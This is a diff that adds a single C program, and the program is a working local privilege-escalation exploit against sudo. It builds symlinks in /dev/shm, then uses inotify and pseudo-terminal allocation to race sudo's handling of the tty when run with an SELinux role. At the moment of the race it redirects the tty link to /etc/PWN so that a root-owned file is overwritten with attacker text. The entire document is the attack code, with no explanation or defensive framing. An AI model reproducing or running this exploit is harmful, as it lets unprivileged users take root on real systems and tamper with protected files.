|
| 1 | +#define _GNU_SOURCE |
| 2 | +#include <errno.h> |
| 3 | +#include <linux/sched.h> |
| 4 | +#include <pty.h> |
| 5 | +#include <sched.h> |
| 6 | +#include <signal.h> |
| 7 | +#include <stdio.h> |
| 8 | +#include <stdlib.h> |
| 9 | +#include <string.h> |
| 10 | +#include <sys/inotify.h> |
| 11 | +#include <sys/resource.h> |
| 12 | +#include <sys/stat.h> |
| 13 | +#include <sys/types.h> |
| 14 | +#include <unistd.h> |
| 15 | +#include <sys/wait.h> |
| 16 | + |
| 17 | +#define EVENT_SIZE ( sizeof (struct inotify_event) ) |
| 18 | +#define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) ) |
| 19 | + |
| 20 | + |
| 21 | +int main( ) |
| 22 | +{ |
| 23 | + |
| 24 | + int length, i = 0; |
| 25 | + int fd; |
| 26 | + int wd; |
| 27 | + char buffer[EVENT_BUF_LEN]; |
| 28 | + |
| 29 | + int master, slave; |
| 30 | + char pts_path[256]; |
| 31 | + |
| 32 | + cpu_set_t mask; |
| 33 | + struct sched_param params; |
| 34 | + params.sched_priority = 0; |
| 35 | + CPU_ZERO(&mask); |
| 36 | + CPU_SET(0, &mask); |
| 37 | + |
| 38 | + mkdir("/dev/shm/_tmp", 0755); |
| 39 | + symlink("/dev/pts/57", "/dev/shm/_tmp/_tty"); |
| 40 | + symlink("/usr/bin/sudo", "/dev/shm/_tmp/ 34873 "); |
| 41 | + |
| 42 | + fd = inotify_init(); |
| 43 | + wd = inotify_add_watch( fd, "/dev/shm/_tmp", IN_OPEN | IN_CLOSE_NOWRITE ); |
| 44 | + |
| 45 | + pid_t pid = fork(); |
| 46 | + |
| 47 | + if(pid == 0) { |
| 48 | + sched_setaffinity(pid, sizeof(mask), &mask); |
| 49 | + sched_setscheduler(pid, SCHED_IDLE, ¶ms); |
| 50 | + setpriority(PRIO_PROCESS, pid, 19); |
| 51 | + |
| 52 | + sleep(1); |
| 53 | + execlp("/dev/shm/_tmp/ 34873 ", "sudo", "-r", "unconfined_r", "/usr/bin/sum $'--\nHELLO\nWORLD\n'", NULL); |
| 54 | + }else{ |
| 55 | + setpriority(PRIO_PROCESS, 0, -20); |
| 56 | + int state = 0; |
| 57 | + while(1) { |
| 58 | + length = read( fd, buffer, EVENT_BUF_LEN ); |
| 59 | + kill(pid, SIGSTOP); |
| 60 | + |
| 61 | + i=0; |
| 62 | + while ( i < length ) { |
| 63 | + struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ]; |
| 64 | + |
| 65 | + if ( event->mask & IN_OPEN ) { |
| 66 | + //kill(pid, SIGSTOP); |
| 67 | + |
| 68 | + while(strcmp(pts_path,"/dev/pts/57")){ |
| 69 | + openpty(&master, &slave, &pts_path[0], NULL, NULL); |
| 70 | + }; |
| 71 | + //kill(pid, SIGCONT); |
| 72 | + break; |
| 73 | + |
| 74 | + }else if ( event->mask & IN_CLOSE_NOWRITE ) { |
| 75 | + //kill(pid, SIGSTOP); |
| 76 | + |
| 77 | + unlink("/dev/shm/_tmp/_tty"); |
| 78 | + symlink("/etc/PWN", "/dev/shm/_tmp/_tty"); |
| 79 | + //kill(pid, SIGCONT); |
| 80 | + |
| 81 | + state = 1; |
| 82 | + break; |
| 83 | + } |
| 84 | + |
| 85 | + i += EVENT_SIZE + event->len; |
| 86 | + |
| 87 | + } |
| 88 | + kill(pid, SIGCONT); |
| 89 | + if(state == 1) break; |
| 90 | + } |
| 91 | + |
| 92 | + waitpid(pid, NULL, 0); |
| 93 | + inotify_rm_watch( fd, wd ); |
| 94 | + close( fd ); |
| 95 | + close(wd); |
| 96 | + |
| 97 | + unlink("/dev/shm/_tmp/_tty"); |
| 98 | + unlink("/dev/shm/_tmp/ 34873 "); |
| 99 | + rmdir("/dev/shm/_tmp"); |
| 100 | + close(master); |
| 101 | + close(slave); |
| 102 | + } |
| 103 | + |
| 104 | +} |
0 commit comments